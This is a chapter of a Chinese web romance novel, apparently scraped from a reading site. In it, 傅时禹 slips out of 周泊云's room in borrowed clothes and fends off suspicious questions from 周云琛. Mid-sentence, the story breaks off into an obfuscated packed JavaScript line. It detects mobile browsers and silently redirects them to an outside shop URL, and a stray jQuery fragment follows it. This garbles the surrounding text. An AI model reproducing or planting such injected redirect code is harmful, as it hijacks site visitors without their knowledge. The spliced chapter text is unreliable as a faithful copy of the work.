11. 正义的光
    等那位不速之客一消失,傅时禹立刻拉开浴室门走出来。

    “吓死我了。”

    他心有余悸地松了一口气。

    也不知道为什么,明明什么事都没有,但听到周云琛的声音,他还是会有一种诡异的背德感,好像他做了什么不忠的事一样。

    嗯……

    半夜三更在「男朋友」弟弟的房间里爆衣……

    好像是不太好解释。

    “那个。”

    傅时禹看着坐在床沿的周泊云,略微窘迫地挠了挠脸,“衣服谢谢了。”

    “没什么好道谢的。”

    周泊云合上电脑,抬眼看向他,“我不可能让你一身破烂的从房里出去,诋毁我的清誉。“

    傅时禹一时觉得生气,但也不知道该说些什么好。

    最后,他选择冲周泊云竖起一个大拇哥。

    行,就你小子会说话。

    “话说回来。”

    傅时禹忍下一口气,认真叮嘱他,“我打拳这事,千万不能让你大哥知道!”

    “为什么?”

    “因为……这是我的梦想,谁都不能诋毁它!”

    周泊云:“……”

    傅时禹知道他的沉默代表什么意思。

    他慷慨激昂地说道:“但弟弟你不一样。我看得出你是个正义的人,肯定会助力每一份梦想!”

    周泊云扫了他两眼就错开视线,“……你想多了。”

    “可教练,我是真的很想打拳。”

    傅时禹走到他跟前,眼神分外诚恳,“你也知道你大哥什么性格,要是让他知道了,我这辈子可能都碰不了拳击手套。”

    周泊云:“…………”

    周泊云:“知道了。”

    他的脸色缓和几分,不像之前那么冷淡。

    “哎呀弟弟,我果然没看错你。”

    傅时禹郑重其事地拍了拍他的肩膀,“你简直就是道正义的光啊!”

    周泊云:“………………”

    傅时禹越说越嗨,一手搭在周泊云肩上,另一手指着自己,“你看我这形象,天生就是为打拳而生的!我不打拳、谁打拳?以后我拿到金腰带,第一个感谢的人就是你!”

    周泊云推开他搭在肩上的手,冷冷瞥了他一眼,“你不说话,没人当你是哑巴。”

    “好好好。”

    傅时禹笑得无奈,嘴角一咧,锐利的犬齿又跑了出来。

    周泊云微微扬起下巴,视线刚好能将那恣意的笑容全部容纳。

    这距离太近,近到他能记住那张脸上所有的细节。

    原来,左边犬齿正下方有颗痣啊。

    只要一笑,齿尖就会从上面晃过,摩擦着赫粉的唇瓣。

    他突然很想伸手狠狠地按住那里。

    先从柔软的唇肉开始大力揉搓,然后指腹划过那尖利的犬齿,撬开紧咬的牙齿,闯进齿后滚烫的领域。

    感受着那双下垂眼充满不屈,一边怨恨地看着他,一边用力咬住他撬入齿间的手指。

    腔内的热度和利齿咬下的痛觉会将他全部吞噬,徒留那份越界的妄念。

    傅时禹注意到他在看自己。

    那束视线过分认真,好像在透过自己看一些不对劲的东西。

    一种奇怪的感觉正在心里萌发,但他又抓不住那是什么。

    “那什么……”

    傅时禹错开视线,往门口看去,“我该走了。”

    “不留在这儿睡一晚吗?”

    周泊云冷淡低沉的嗓音倏地在他耳边炸开。

    他猛然回头看向那个肆意妄为的男人,和那双直白热烈的眼眸对上视线。

    “你说什么?”

    “我是说……”

    周泊云欲言又止,终于后知后觉到是自己失言了。

    他避开傅时禹的目光,所有的一切都回归到理智之中。

    “我是说你现在出去不怕被他们发现吗?”

    周泊云极力想办法解释,把这事给糊弄过去,“大哥的房间就在旁边,万一你被他看见呢?”

    “没关系的。”傅时禹沉声说道,“我会说我敲错门了。”

    他不能再在这里待着了。

    遭遇过那么多次贞操危机,他的身体也产生了相应的防御本能。

    “随便你。”

    周泊云侧过头,视线胡乱扫来扫去,最后在地上找了颗纽扣做焦点。

    很快,余光中那堵墙一样的阴影越飘越远,跟着耳边响起门锁转动的声音。

    “等等。”

    周泊云还是忍不住开口,“明早九点,我会在车里等你。”

    傅时禹站在门口,本能泛起戒备,往门边退了半步,“干什么?你哥还没死呢,我也是正经人,不做……”

    “不是你说要去那里的吗?”

    周泊云急着打断他。

    真搞不懂他那脑袋都在想些什么,里面装的全是蛋白粉吗?

    “不需要你特地为我安排。”傅时禹摇了摇头,“我不想欠人情。”

    “没有。”

    周泊云心虚了一秒后,很快恢复正常,“你来得巧,我明天确实是要过去一趟。”

    “那行。”

    傅时禹松了一口气,快步往门外走,“早点休息。”

    他说完就将门迅速关上,并没有听到周泊云那低低的一声「晚安」。

    出去之后,除了他之外,没有人在走廊里走动。

    他一路畅通无阻,很快就抵达自己的房间。

    “Surprise!”

    然而,一打开房门,他耳朵边就炸出一道带着笑意的声音。

    接着,凑到视野里的是一张无限放大的俊美脸庞。

    “嘭!”

    身上一沉,大力的闷响撞得他胸骨发疼,全身上下都像是被蟒蛇缠紧了一样,勒得他喘不过气,成为对方的囊中之物。

    傅时禹没想到周云琛竟然会在房间里等着他。

    这下被他猝不及防抱住,他想逃也逃不开。

    周云琛把下巴抵在他肩上,柔软蓬松的头发在他肩窝里蹭来蹭去。

    声音低沉绵软,像是在向他讨要一份应有的奖励。

    “我一听到脚步声就知道是……嗯?”

    话说到一半,周云琛忽然惊觉起来,抽着鼻子在他身上到处闻。

    “这衣服是你的吗?”

    周云琛皱起眉,猛然推开傅时禹,直盯那双波澜不惊的下垂眼,“这个味道不是客房专用的洗涤剂。”

    “不是吗?”

    傅时禹拉起衣领闻了闻,有股淡淡的冷冽木质香。

    他不记得原先那件衣服是什么香味,现在这件全是属于周泊云的气味。

    “嗯!”周云琛重重点了点头,他在闻香这一点上从不出错。

    他凑上前,又在傅时禹身上闻来闻去。

    敏感警惕,就像在找主人身上是不是有别的狗狗气味。

    “这味道……我在哪儿闻过来着?”他琢磨着,忽然灵光一现,“啊,是泊云的房间。”

    呃。

    妈的。

    傅时禹心里咯噔一下。

    什么狗鼻子啊。

    傅时禹避开他往屋里走,随口敷衍了一句,“可能是洗衣服的时候不小心弄混了吧。”

    “不可能。”周云琛果断地摇了摇头,“泊云那小子麻烦得很。他不会用带香味的洗涤剂,总是要在衣柜里挂香包……”

    他说着又意识到什么,转头看向已经走远的傅时禹。

    “你……穿泊云的衣服啊?”

    听他这么说,傅时禹耳边忽的回响起某句经典台词。

    但明显不适合用在这个场景。

    傅时禹板起脸,黝黑的脸色又阴沉几分,看样子有些不善。

    “怎么可能?”

    他看向周云琛,先发制人反咬一口,开始他无理取闹的表演。

    “只是一个气味而已,这么执着干什么?是觉得我和你弟有什么,想找机会踹了我吗?原来我不过是你回周家的一枚棋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508128|142204||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子啊。”

    “当、当然不是啊,时禹你怎么会这么想!”

    周云琛愣了一下,随即追上傅时禹,像只摇尾乞怜的大型犬一样在他身边左右围堵。

    “我对你的真心日月可鉴!真的!为了让你能留在周家,那些臭老头怎么逼迫我都无所谓!”

    周云琛说着,竖起三根手指举在头边,一改平时嬉皮笑脸的样子,分外诚挚地看着他。

    “你是不知道我今天被拉着开了多少批斗会,批到人都麻了。明天还要陪着去上山下海,那个臭老头就是要把所有难搞的应酬都推给我!我回来根本不是来挨骂的,是来受罪的!要不是能偷着来看你一眼,我今晚可能都熬不过去了……”

    周云琛越说越委屈,可怜巴巴地望着傅时禹,但看他脸色还是不好,又不敢凑上去蹭他,只能垂着脑袋,等他来主动安慰。

    “呵。”

    傅时禹冷哼一声,他才不会碰他一下。

    他瞥眼看向周云琛,“你这样说,是怪我劝你回来受罪了?”

    周云琛一听,连忙摇头,“不不不,时禹!为了能让你进周家的门,我做这些算什么!我一定会让你风风光光嫁进周家!”

    “那些场面话我现在不想听。”

    傅时禹双手抱胸靠在桌边,“你明天就安安心心陪着你爸,我刚好有事出去一趟,别因为我不在,你又把控不住、又出岔子。”

    “哎哟这深山老林的,我除了跟在臭老头身边,哪都逃不出去……”

    周云琛对傅时禹没有忠诚可言,受系统影响,能在心里给他留个最重要的地位就已经很不错了。

    让他这个天生浪子为爱管住下半身?

    想都不可能。

    所以,他自然不会向傅时禹保证他会恪守男德那一套,顶多就只是解释他现在出不去,不会耽误他们的大事。

    “诶等等。”

    周云琛抱怨到一半,反射弧终于抵达意识层,“你明天要出去?”

    “对。”

    傅时禹点点头,想来不和周云琛交待的话,明天他要没找着人真起疑就麻烦了。

    于是,便说道:“派出所通知我去认领丢失的证件,我明早会出去,最快下午就回来了。”

    他这个借口也用的合理。

    当时和周云琛第一次见面,他声称自己刚回国,所有东西都被偷走,没钱没证件没地方住,这才不得不找周云琛这个好心人求助。

    那时候,周云琛在100%的好感度下也是色心大起,二话不说就把他带回家,如此就有了后面那些发展。

    “小偷抓着了?”周云琛问道。

    “不知道,明天看看什么情况。”

    傅时禹说着又按起不断胀动的太阳穴。

    这大半夜发生的事情有些多,他忽然感到疲惫不堪。

    他对周云琛下起逐客令,“不早了,我明天很早就要出门,你忙了一天,也早点休息吧。”

    “哦好……”

    周云琛说完,站在原地不动,盯着傅时禹若有所思。

    傅时禹见状皱起眉,“你又怎么了?”

    “你刚刚去哪儿了?”

    周云琛终于想起他应该最先问的问题,“我找了你一圈都没见到你。”

    “我还能去哪儿?”

    傅时禹没好气地看了他一眼,“当然是去找你了。但没想到你家这么大,兜了好久才走出来。现在好不容易见到你,你又找我麻烦,这一天天的,真是够累的。”

    傅时禹抱怨着,把平等推锅每一个人那一套发挥得淋漓尽致。

    “嗯。”

    周云琛点点头,没再说什么别的,很乖巧听话地往门口退去。

    “晚安。”

    他道别后就关上了门。

    而傅时禹看着那道紧闭的门,脑子宕机了一秒。

    奇怪?

    周云琛今天怎么忽然变得这么安静?

    不是应该撒泼打滚求蹭蹭、抱着他大腿索要晚安吻、最后没要到被他扔出去吗?